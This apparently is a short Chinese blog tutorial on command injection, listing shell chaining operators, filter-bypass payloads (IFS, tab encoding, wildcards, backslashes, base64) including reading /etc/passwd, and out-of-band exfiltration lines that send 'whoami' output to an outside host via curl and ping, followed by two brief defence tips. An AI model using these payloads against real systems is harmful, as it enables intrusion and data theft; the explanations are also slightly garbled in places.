命令执行漏洞

admin
3
2025-05-24

命令执行漏洞

命令执行漏洞概述

代码执行漏洞是由于WEB应用程序过滤不严谨,导致用户可以通过请求将代码注入到WEB应用进行执行。例如SQL注入,是将SQL语句注入到SQL中进行执行。而PHP代码执行漏洞是将代码注入到WEB服务器中,最终在WEB服务器中进行执行。

命令执行漏洞绕过

命令操作符

1.cmd1 | cmd2

(|管道操作符)将cmd1的结果输出给cmd

2命令操作符2. cmd1 & cmd2

(&和号操作符)让命令在后台运行

3.cmd1 ; cmd2

(; 分号操作符)执行多条命令。

4.(cmd1 && cmd2 (&& 与操作符)

只有cmd1命令执行成功后,才会执行cmd2。

5.cmd1 || cmd2 (|| 或操作符)

cmd1执行失败,才会执行cmd2。

空格绕过

字符串拼接

IFS(内部域分隔),是Shell的内置变量,是一个用于分割字段的字符列表,默认值是空白(包括空格、tab、换行)。空格绕过

使用{}

例如{cat,text}

使用Tab

?_=cat%09/etc/passwd

在读取文件的时候利用重定向符

<>cat<>text cat<text

黑名单关键字绕过

字符串拼接

a=c;b=at;c=tex;d=t;$a$b${c}${d}

利用环境变量

echo ${SHELLOPTS}

echo ${SHELLOPTS:3:1}

${SHELLOPTS:3:1}at${IFS}text

使用空变量

Cat t${x}ext

利用Linux通配符(? *)

/bin/ca? tex?

使用反斜杠

\在bash中被解释为转义字符,用于去除一个单个字符的特殊意义,它保留了跟随在之后的字符的字面值,除了换行符。如果在反斜线之后出现换行字符,转义字符使行得以继续。

ca\

t tex\

t

使用base64编码

echo t | base64ca$(echo "dAo="|base64 -d) text

无回显情况

1.使用HTTP通道带出数据

curl www.baidu.com/'whoami'

2.使用DNS通道带出数据

ping 'whoami'.www.baidu.com

3.使用HTTP通道带出数据,数据经过base64编码

curl www.baidu.com/$(whoami|base64)

命令执行漏洞防御

1.命令执行函数的参数白名单,结合正则表达式来进行白名单限制。

2.对参数进行严格的过滤。

动物装饰